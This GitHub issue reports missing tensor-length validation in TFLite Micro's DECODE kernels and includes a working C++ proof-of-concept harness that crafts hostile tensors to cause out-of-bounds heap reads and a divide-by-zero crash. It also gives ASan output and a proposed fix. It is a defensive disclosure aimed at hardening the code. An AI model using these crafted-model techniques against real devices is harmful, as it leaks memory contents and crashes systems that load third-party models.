Skip to content

DECODE kernels: decoder state derived from model bytes with no tensor-length validation — OOB reads land in decompressed output; empty scale vector divides by zero in Setup #3704

Description

@alencheung

Summary

The new DECODE operator family (tensorflow/lite/micro/kernels/decode*.cc,
landed 2026-05-27; registered as the TFLM_DECODE custom op via
AddDecode(), micro_mutable_op_resolver.h:218) derives all decoder state
from the model's ancillary bytes and output-tensor shape, and never
cross-checks any of it against the actual byte lengths of the input tensors.
Three consequences, all reproduced below against main @ bfeb43aa with the
real Register_DECODE() kernel through micro::KernelRunner:

  1. Value-table OOB read whose bytes become decompressed output — the LUT
    decoder reads its value table starting at ancillary + 16 with a
    per-channel stride and channel count that all come from the same ancillary
    bytes; nothing binds the span to the ancillary tensor's length. Canary
    proof + ASan heap-buffer-overflow (READ of size 1, 127 bytes after a
    16-byte region), symbolized to decode_state_lut.cc:500.
  2. Compressed-bitstream OOB read whose bytes become decompressed output —
    the number of index bits consumed is derived from the output tensor's
    element count (decode_state_lut.cc:55); the input tensor's length is
    never consulted. A 1-byte input tensor with a 512-element output reads
    past the input's end. Canary proof + ASan heap-buffer-overflow (0 bytes
    after a 1-byte region), symbolized to decode_state_lut.cc:492.
  3. Division by zero in Setup — num_channels_ = quantization->scale->size
    (decode_state_lut.cc:43) followed by
    count_indices_ / num_channels_ (:57): an affine-quantized output
    tensor with an empty scale vector divides by zero (SIGFPE; a hard fault on
    bare-metal targets). Same shape in the prune decoder, which additionally
    walks zero_point->data with the scale count (decode_state_prune.cc:56-58)
    behind a TFLITE_DCHECK only — a debug-build abort today, an unguarded
    OOB walk in release (-DNDEBUG) builds.

To be explicit about the threat model: per TensorFlow's security policy
(which tflite-micro's SECURITY.md defers to), TensorFlow models are programs
and running untrusted models is equivalent to running untrusted code — these
gaps are reachable only through a hand-crafted model, not through
production-grade benign models, so this is filed as a robustness/hardening
issue, not a security report. The practical relevance: the DECODE path is
being made the default compressed-model pipeline (#3647/#3687/#3691), the
official PyPI wheel builds with --//:with_compression=true and registers
AddDecode(), and tools/make ships the same kernels with
USE_TFLM_COMPRESSION=1 — so any host that loads a third-party compressed
model (CI evaluating submitted models, OTA model updates, model
marketplaces) reaches this code with model-supplied bytes.

Mechanism (main @ bfeb43a)

The DECODE op consumes constant tensor pairs (decode.cc:93-94 enforces
IsConstantTensor): input (compressed indices/codewords) and ancillary
(16-byte DCM header + decoder data). Header fields per
decode_state.h: [0] decode type, [1] DCM version, [4] method
version, [5] params (low 3 bits = index bit width), [6] value-table
channel stride.

// decode_state_lut.cc:29-64 (DecodeStateLut::Setup)
  const uint8_t* const ancillary_data = GetTensorData<uint8_t>(&ancillary);
  if (ancillary_data[kDcmVersionOffset] != 1) { ... }        // :33
    num_channels_ = quantization->scale->size;               // :43  (no >= 1 check)
  ...
  compressed_indices_ = GetTensorData<uint8_t>(&input);      // :54  (length never read)
  count_indices_ = NumElements(&output);                     // :55  (output drives input consumption)
  elements_per_channel_ =
      use_alternate_axis_ ? 1 : count_indices_ / num_channels_;  // :57  (SIGFPE when scale empty)
  value_table_ = &ancillary_data[kDcmSizeInBytes];           // :58  (no span check vs tensor bytes)
  value_table_channel_stride_ = ancillary_data[kDcmValueTableStrideOffset];  // :59
  compressed_bit_width_ =
      ancillary_data[kDcmParamsOffset] & kDcmParamsBitWidthMask;            // :60-61

Decode then reads value_table[index] for index < 2^bit_width (up to 127),
advancing stride (up to 255) per channel for num_channels_ channels
(decode_state_lut.cc:136,426-459,467-503), and consumes
count_indices_ * bit_width bits from compressed_indices_
(GetNextTableIndexWidth1..7, decode_state_lut.cc:514+). Every quantity
in both spans comes from the hostile model; the tensors' own bytes counts
are never consulted.

The prune decoder has the same shapes (decode_state_prune.cc:44 scale-size
channels, :57-58 the zero-point walk, :87 the division) and the huffman
decoder starts the same way (decode_state_huffman.cc:38-40:
compressed_codewords_/count_codewords_ from input pointer + output
count, huffman_tables_ = &ancillary_data[16] with no length check). The
two LUT shapes below are the ones with runtime proof; the prune/huffman
analogs are included in the proposed fix.

Reproduction

Harness (self-contained; drives the real kernel via
tflite::micro::KernelRunner with Register_DECODE(), mirroring the repo's
own decode_test_helpers.h test path). Canary mode backs each hostile
tensor with a marker region past its declared end, so the leak is observable
without a sanitizer; exact mode ends the allocation at the declared extent so
ASan puts a redzone there.

// decode_hostile.cc — hostile-input probes for the TFLM_DECODE op.
// Usage: decode_hostile <d1|d2|d3|d4> [canary|exact]
//
// d1: LUT value table read from ancillary+16 without checking the
//     ancillary tensor holds 2^bit_width * stride * channels bytes.
// d2: LUT consumes count*bit_width bits of input without checking the
//     input tensor holds that many bits.
// d3: LUT Setup divides by num_channels_ when the output quantization
//     scale vector is empty (scale->size() == 0).
// d4: prune Setup walks zero_point->data with the scale vector's count.

#include <cstdio>
#include <cstring>
#include <cstdint>
#include <string_view>
#include <vector>

#include "tensorflow/lite/core/c/common.h"
#include "tensorflow/lite/micro/kernels/decode_state.h"
#include "tensorflow/lite/micro/kernels/kernel_runner.h"
#include "tensorflow/lite/micro/kernels/micro_ops.h"
#include "tensorflow/lite/micro/micro_log.h"
#include "tensorflow/lite/micro/test_helpers.h"

namespace tflite {
namespace {

constexpr size_t kDcmHeaderSize = 16;

struct QuantFields {
  // TfLiteFloatArray / TfLiteIntArray carry inline trailing arrays, so the
  // vectors must be heap-built with room for the trailing data.
  TfLiteFloatArray* scale = nullptr;
  TfLiteIntArray* zero_point = nullptr;
  TfLiteAffineQuantization affine = {};

  QuantFields(size_t scale_count, size_t zp_count) {
    scale = static_cast<TfLiteFloatArray*>(
        malloc(sizeof(TfLiteFloatArray) + scale_count * sizeof(float)));
    scale->size = static_cast<int>(scale_count);
    for (size_t i = 0; i < scale_count; i++) scale->data[i] = 1.0f;
    zero_point = static_cast<TfLiteIntArray*>(
        malloc(sizeof(TfLiteIntArray) + zp_count * sizeof(int)));
    zero_point->size = static_cast<int>(zp_count);
    for (size_t i = 0; i < zp_count; i++) zero_point->data[i] = 0;
    affine.scale = scale;
    affine.zero_point = zero_point;
    affine.quantized_dimension = 0;
  }
};

// 16-byte DCM header. [0]=type [1]=DCM version [4]=method version
// [5]=params (low 3 bits = index bit width) [6]=value-table channel stride.
std::vector<uint8_t> MakeHeader(uint8_t type, uint8_t bit_width,
                                uint8_t stride) {
  std::vector<uint8_t> h(kDcmHeaderSize, 0);
  h[0] = type;
  h[1] = 1;
  h[4] = 1;
  h[5] = bit_width & 0x07;
  h[6] = stride;
  return h;
}

TfLiteTensor MakeByteTensor(const int* dims_data, const void* data,
                            const bool constant) {
  TfLiteTensor t = {};
  t.type = kTfLiteUInt8;
  t.dims = testing::IntArrayFromInts(dims_data);
  t.data.data = const_cast<void*>(data);
  t.allocation_type = constant ? kTfLiteMmapRo : kTfLiteArenaRw;
  size_t bytes = 1;
  for (int i = 1; i <= dims_data[0]; i++) bytes *= dims_data[i];
  t.bytes = bytes;
  return t;
}

TfLiteTensor MakeOutTensor(const int* dims_data, void* data) {
  TfLiteTensor t = {};
  t.type = kTfLiteInt8;
  t.dims = testing::IntArrayFromInts(dims_data);
  t.data.data = data;
  t.allocation_type = kTfLiteArenaRw;
  size_t bytes = 1;
  for (int i = 1; i <= dims_data[0]; i++) bytes *= dims_data[i];
  t.bytes = bytes;
  return t;
}

bool RunOnce(const uint8_t* anc_data, size_t anc_declared, const uint8_t* in_data,
             size_t in_declared, int8_t* out_data, int out_count) {
  TfLiteTensor tensors[3] = {};
  int in_dims[] = {1, static_cast<int>(in_declared)};
  int anc_dims[] = {1, static_cast<int>(anc_declared)};
  int out_dims[] = {1, out_count};
  tensors[0] = MakeByteTensor(in_dims, in_data, true);
  tensors[1] = MakeByteTensor(anc_dims, anc_data, true);
  tensors[2] = MakeOutTensor(out_dims, out_data);

  int inputs[] = {2, 0, 1};
  int outputs[] = {1, 2};
  micro::KernelRunner runner(Register_DECODE(), tensors, 3,
                             testing::IntArrayFromInts(inputs),
                             testing::IntArrayFromInts(outputs), nullptr);
  return runner.InitAndPrepare() == kTfLiteOk && runner.Invoke() == kTfLiteOk;
}

// d1: ancillary declared as exactly 16 bytes (header only, no value table).
int CaseD1(const char* mode) {
  constexpr int kCount = 256;
  const bool canary = strcmp(mode, "canary") == 0;

  const std::vector<uint8_t> header = MakeHeader(DecodeState::kDcmTypeLUT, 7, 1);
  std::vector<uint8_t> blob;
  if (canary) {
    blob = header;
    blob.resize(kDcmHeaderSize + 256);
    for (size_t i = 0; i < 256; i++)
      blob[kDcmHeaderSize + i] = static_cast<uint8_t>(0xC0 | (i & 0x3F));
  } else {
    blob = header;
  }

  const size_t in_bytes = (kCount * 7 + 7) / 8;
  std::vector<uint8_t> ones(in_bytes, 0xFF);
  std::vector<uint8_t> zeros(in_bytes, 0x00);
  std::vector<int8_t> out_ones(kCount), out_zeros(kCount);

  if (!RunOnce(blob.data(), kDcmHeaderSize, ones.data(), in_bytes,
               out_ones.data(), kCount) ||
      !RunOnce(blob.data(), kDcmHeaderSize, zeros.data(), in_bytes,
               out_zeros.data(), kCount)) {
    MicroPrintf("d1: decode failed");
    return 1;
  }

  MicroPrintf("d1 ones run  out[0..3]: %02x %02x %02x %02x",
              (uint8_t)out_ones[0], (uint8_t)out_ones[1], (uint8_t)out_ones[2],
              (uint8_t)out_ones[3]);
  MicroPrintf("d1 zeros run out[0..3]: %02x %02x %02x %02x",
              (uint8_t)out_zeros[0], (uint8_t)out_zeros[1], (uint8_t)out_zeros[2],
              (uint8_t)out_zeros[3]);

  if (canary) {
    // all-one index bits -> index 127 -> canary[127]; all-zero -> canary[0].
    const uint8_t expect_ones = blob[kDcmHeaderSize + 127];
    const uint8_t expect_zeros = blob[kDcmHeaderSize + 0];
    const bool ones_ok = (uint8_t)out_ones[0] == expect_ones &&
                         (uint8_t)out_ones[kCount - 1] == expect_ones;
    const bool zeros_ok = (uint8_t)out_zeros[0] == expect_zeros &&
                          (uint8_t)out_zeros[kCount - 1] == expect_zeros;
    MicroPrintf("d1: ones->%02x (canary[127]=%02x) zeros->%02x (canary[0]=%02x)",
                (uint8_t)out_ones[0], expect_ones, (uint8_t)out_zeros[0],
                expect_zeros);
    if (ones_ok && zeros_ok) {
      MicroPrintf("D1 CONFIRMED: the LUT decoder read its value table from "
                  "bytes past the ancillary tensor's declared end and those "
                  "bytes are now decompressed model output");
      return 0;
    }
    return 2;
  }
  MicroPrintf("D1 exact-mode run completed (ASAN reports if built sanitized)");
  return 0;
}

// d2: input declared as 1 byte; output declares 512 elements of 7-bit indices.
int CaseD2(const char* mode) {
  constexpr int kCount = 512;
  const bool canary = strcmp(mode, "canary") == 0;

  // Full in-bounds ancillary: header + 128-entry identity value table.
  std::vector<uint8_t> anc = MakeHeader(DecodeState::kDcmTypeLUT, 7, 128);
  anc.resize(kDcmHeaderSize + 128);
  for (size_t i = 0; i < 128; i++) anc[kDcmHeaderSize + i] = (uint8_t)i;

  std::vector<uint8_t> blob_ones(1), blob_zeros(1);
  if (canary) {
    blob_ones.resize(1 + 1024);
    blob_zeros.resize(1 + 1024);
    std::fill(blob_ones.begin() + 1, blob_ones.end(), 0xFF);
    std::fill(blob_zeros.begin() + 1, blob_zeros.end(), 0x00);
  }

  std::vector<int8_t> out_ones(kCount), out_zeros(kCount);
  if (!RunOnce(anc.data(), anc.size(), blob_ones.data(), 1, out_ones.data(),
               kCount) ||
      !RunOnce(anc.data(), anc.size(), blob_zeros.data(), 1, out_zeros.data(),
               kCount)) {
    MicroPrintf("d2: decode failed");
    return 1;
  }

  // With a 0x00 first (in-bounds) byte and all-0xFF past-end bytes, indices
  // at group >= 1 (offset >= 8) are 127; with all-0x00 past-end they are 0.
  const int v_ones = (uint8_t)out_ones[16];
  const int v_zeros = (uint8_t)out_zeros[16];
  MicroPrintf("d2: out[16] ones-run=%d zeros-run=%d", v_ones, v_zeros);
  if (canary && v_ones == 127 && v_zeros == 0) {
    MicroPrintf("D2 CONFIRMED: past-the-end input bytes selected value-table "
                "entries and became decompressed model output");
    return 0;
  }
  if (!canary) {
    MicroPrintf("D2 exact-mode run completed (ASAN reports if built "
                "sanitized)");
    return 0;
  }
  return 2;
}

// d3: empty scale vector -> num_channels_ == 0 -> count / 0 in Setup.
int CaseD3() {
  constexpr int kCount = 16;
  std::vector<uint8_t> anc = MakeHeader(DecodeState::kDcmTypeLUT, 4, 16);
  anc.resize(kDcmHeaderSize + 32, 0);
  std::vector<uint8_t> in(8, 0);
  std::vector<int8_t> out(kCount);
  QuantFields q(0, 0);

  TfLiteTensor tensors[3] = {};
  int in_dims[] = {1, 8};
  int anc_dims[] = {1, static_cast<int>(anc.size())};
  int out_dims[] = {1, kCount};
  tensors[0] = MakeByteTensor(in_dims, in.data(), true);
  tensors[1] = MakeByteTensor(anc_dims, anc.data(), true);
  tensors[2] = MakeOutTensor(out_dims, out.data());
  tensors[2].quantization.type = kTfLiteAffineQuantization;
  tensors[2].quantization.params = &q.affine;

  int inputs[] = {2, 0, 1};
  int outputs[] = {1, 2};
  micro::KernelRunner runner(Register_DECODE(), tensors, 3,
                             testing::IntArrayFromInts(inputs),
                             testing::IntArrayFromInts(outputs), nullptr);
  const TfLiteStatus prepare = runner.InitAndPrepare();
  MicroPrintf("d3: prepare returned %d (a SIGFPE before this line means the "
              "division trapped)",
              (int)prepare);
  return 0;
}

// d4: prune Setup, scale->size()==64, zero_point->size()==1.
int CaseD4() {
  constexpr int kCount = 64;
  std::vector<uint8_t> anc = MakeHeader(DecodeState::kDcmTypePrune, 0, 0);
  anc.resize(kDcmHeaderSize + 64, 0);
  std::vector<uint8_t> in(kCount, 0);
  std::vector<int8_t> out(kCount);
  QuantFields q(64, 1);

  TfLiteTensor tensors[3] = {};
  int in_dims[] = {1, kCount};
  int anc_dims[] = {1, static_cast<int>(anc.size())};
  int out_dims[] = {1, kCount};
  tensors[0] = MakeByteTensor(in_dims, in.data(), true);
  tensors[1] = MakeByteTensor(anc_dims, anc.data(), true);
  tensors[2] = MakeOutTensor(out_dims, out.data());
  tensors[2].quantization.type = kTfLiteAffineQuantization;
  tensors[2].quantization.params = &q.affine;

  int inputs[] = {2, 0, 1};
  int outputs[] = {1, 2};
  micro::KernelRunner runner(Register_DECODE(), tensors, 3,
                             testing::IntArrayFromInts(inputs),
                             testing::IntArrayFromInts(outputs), nullptr);
  const TfLiteStatus prepare = runner.InitAndPrepare();
  const TfLiteStatus invoke =
      prepare == kTfLiteOk ? runner.Invoke() : kTfLiteError;
  MicroPrintf("d4: prepare=%d invoke=%d (walk of zero_point with scale-sized "
              "count happens in Setup)",
              (int)prepare, (int)invoke);
  return 0;
}

}  // namespace
}  // namespace tflite

int main(int argc, char** argv) {
  if (argc < 2) {
    fprintf(stderr, "usage: %s <d1|d2|d3|d4> [canary|exact]\n", argv[0]);
    return 64;
  }
  const char* mode = argc > 2 ? argv[2] : "canary";
  const std::string_view c = argv[1];
  if (c == "d1") return tflite::CaseD1(mode);
  if (c == "d2") return tflite::CaseD2(mode);
  if (c == "d3") return tflite::CaseD3();
  if (c == "d4") return tflite::CaseD4();
  return 64;
}

Build digest (repo-relative; -fsanitize=address -fno-omit-frame-pointer
appended for the ASan binary; compile the harness plus the tflm sources the
kernel pulls in — kernels/decode*.cc, kernels/kernel_runner.cc,
micro/test_helpers.cc, allocator/interpreter core — with
-std=c++17 -fno-rtti -fno-exceptions -g -O1 -DUSE_TFLM_COMPRESSION -DTF_LITE_STATIC_MEMORY and the repo + flatbuffers + gemmlowp include dirs;
full source list in the attached build script):

clang++ <flags> <object files> decode_hostile.cc -o decode_hostile        # plain
clang++ <flags+asan> <object files> decode_hostile.cc -o decode_hostile_asan

Observed (main @ bfeb43aa, macOS x86_64, clang 17; transcripts verbatim;
ASan frames shown symbolized via atos, the raw reports carry unsymbolized
addresses):

$ ./decode_hostile d1 canary
d1 ones run  out[0..3]: ff ff ff ff
d1 zeros run out[0..3]: c0 c0 c0 c0
d1: ones->ff (canary[127]=ff) zeros->c0 (canary[0]=c0)
D1 CONFIRMED: the LUT decoder read its value table from bytes past the
ancillary tensor's declared end and those bytes are now decompressed model output
[exit 0]

$ ASAN_OPTIONS=detect_leaks=0:symbolize=0 ./decode_hostile_asan d1 exact
==50813==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000017f
READ of size 1 thread T0
0x60200000017f is located 127 bytes after 16-byte region [0x6020000000f0,0x602000000100)
SUMMARY: heap-buffer-overflow
  #0 tflite::DecodeStateLut::DecompressToBufferWidthAny<signed char>(signed char*)  decode_state_lut.cc:500
  #1 tflite::DecodeStateLut::DecompressToBuffer<signed char>(void*)                decode_state_lut.cc:114
  #2 tflite::DecodeStateLut::Decode(...)                                            decode_state_lut.cc:80
  #3 tflite::Eval(...)                                                              decode.cc:179

$ ./decode_hostile d2 canary
d2: out[16] ones-run=127 zeros-run=0
D2 CONFIRMED: past-the-end input bytes selected value-table entries and
became decompressed model output
[exit 0]

$ ASAN_OPTIONS=detect_leaks=0:symbolize=0 ./decode_hostile_asan d2 exact
==50815==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000f1
READ of size 1 thread T0
0x6020000000f1 is located 0 bytes after 1-byte region [0x6020000000f0,0x6020000000f1)
SUMMARY: heap-buffer-overflow
  #0 tflite::DecodeStateLut::DecompressToBufferWidthAny<signed char>(signed char*)  decode_state_lut.cc:492
     (bitstream index read — GetNextTableIndexWidth7)

$ ./decode_hostile d3
Floating point exception: 8            # exit 136 = 128+SIGFPE, inside Setup
  #0 tflite::DecodeStateLut::Setup      decode_state_lut.cc:57
                                      (elements_per_channel_ = count_indices_ / num_channels_)
  #1 tflite::Prepare                    decode.cc:131

$ ./decode_hostile d4
Abort trap: 6                          # exit 134 — debug TFLITE_DCHECK at
                                       # decode_state_prune.cc:54 (num_channels_ == zero_point->size);
                                       # with -DNDEBUG the DCHECK is compiled out and
                                       # std::any_of (decode_state_prune.cc:56-58) walks
                                       # zero_point->data + 64 over a 1-entry array

Control on the d1/d2 claims: each probe runs the SAME hostile tensors twice,
varying only the past-the-end backing bytes (0xFF vs 0x00); the decompressed
output follows that variation byte-for-byte (ff/c0 per canary position in
d1; 127/0 in d2) — i.e. the output content is a function of memory the
tensor does not own. d1's ASan report places the read exactly at the canary
position the canary run predicted (127 bytes past the 16-byte region).

Why the byte-value differences matter: the OOB bytes land in a decompressed
tensor that flows to downstream operators and, in any deployment that returns
inference output, leaves the process. The read position is also fully
model-positioned (index bits + stride + channel count all come from the
craft bytes), so adjacent heap content can be sampled by choice of index —
or the walk can simply cross into an unmapped page and crash.

Proposed fix

Validate the declared spans against the tensors' actual byte counts in each
decoder's Setup, before any state is derived (all checks return
kTfLiteError with a diagnostic naming the tensor and the shortfall):

  1. Ancillary length (LUT, huffman, prune alike): require
    ancillary.bytes >= kDcmSizeInBytes before reading header fields at
    offsets 4/5/6 (today even a 5-byte tensor is read at offset 6), and
    require the full declared span to fit:
    kDcmSizeInBytes + value_table_channel_stride_ * num_channels_ * 2^bit_width
    for the LUT (and the analogous huffman-table span for type 1). This
    closes the d1 read and the same-family huffman shape.
  2. Input length: require the input tensor to hold the consumed bit
    count, ceil(count_indices_ * compressed_bit_width_ / 8) bytes for the
    LUT (count_codewords_ * 4 bytes for huffman). This closes d2.
  3. Channel derivation: reject quantization->scale->size == 0 (and the
    prune decoder's scale/zero-point size mismatch) with an error return
    instead of dividing by zero / walking past the zero-point array. Note the
    open channel-count rework DECODE fix channel count for non-quantized tensors #3691 replaces scale->size with an
    axis-derived count but keeps the same TFLITE_DCHECK-only agreement
    check for zero points — the size checks are worth adding in either
    shape. The d3 SIGFPE is also a concrete crash repro for the empty /
    degenerate channel-count case DECODE fix to number of channels for non-quantized tensors #3685 describes for non-quantized tensors.
  4. Optional: a single DecodeState::Validate(input, ancillary, output)
    helper so the three decoders share the checks.

Happy to send a PR with the checks + these cases as regression tests if the
approach sounds right.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions